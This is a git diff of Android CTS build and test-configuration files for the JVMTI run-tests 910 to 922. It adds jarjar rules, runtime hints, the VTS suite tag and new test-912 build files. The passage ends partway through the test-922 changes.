diff --git a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
index 6fded28..efefdf6 100644
--- a/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest910HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest910DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_910" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
index acb8180..c9c903f 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
new file mode 100644
index 0000000..2856a08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest910@1
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
index 0906b99..10d15fd 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
index 6947ae4..c6a4565 100644
--- a/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest911HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest911DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_911" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
index d5d70d2..9441ad5 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
new file mode 100644
index 0000000..676e1dbb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest911@1
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
new file mode 100644
index 0000000..6ec22d7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
new file mode 100644
index 0000000..7cb82f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest912DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest912HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest912DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_912" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
new file mode 100644
index 0000000..dad7eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
new file mode 100644
index 0000000..d689692
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_912">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="912" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_912" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
new file mode 100644
index 0000000..357b05e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest912@1
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
index d9cdd01..d54985d 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index 7655d03..7dff2cf 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest913HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest913DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_913" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
index 95b6bce..a43ad90 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
index e28f495..51b1022 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index 15e58ee..f6ca1e7 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest914HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest914DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_914" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
index 3146e3a..3b3d7bf 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
new file mode 100644
index 0000000..db77ad0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest914@1
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
index 7934916..961c4cc 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index dbe9df0..b8e03bf 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest915HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest915DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_915" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
index 4a52e4c..ac85b08 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
new file mode 100644
index 0000000..650ee3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest915@1
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
index 80199f7..8cf73fc 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index 04a515b..0098aef 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest917HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest917DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_917" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
index 83a6d38..964fa9a 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
new file mode 100644
index 0000000..de3b6cc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest917@1
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
index 5600ece..497f86c 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index e4fc0eb..78f0927 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest918HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest918DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_918" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
index fd9f80f..9274386 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
new file mode 100644
index 0000000..0635cae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest918@1
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
index 76ad7db..640f3d6 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index 39f464a..d23c3fc 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest919HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest919DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_919" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
index f333322..230d936 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
new file mode 100644
index 0000000..69ffbde
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest919@1
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
index 678ded5..3029742 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index 5d33072..ff574cc 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest920HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest920DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_920" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
index 740c410..ee861f2 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
new file mode 100644
index 0000000..a819464e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest920@1
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
index aab0515..bf10341 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index eb1cae9..6c9f7dc 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest922HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest922DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_922" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
index dc69693..70843f5 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
@@ -21,7 +21,7 @@
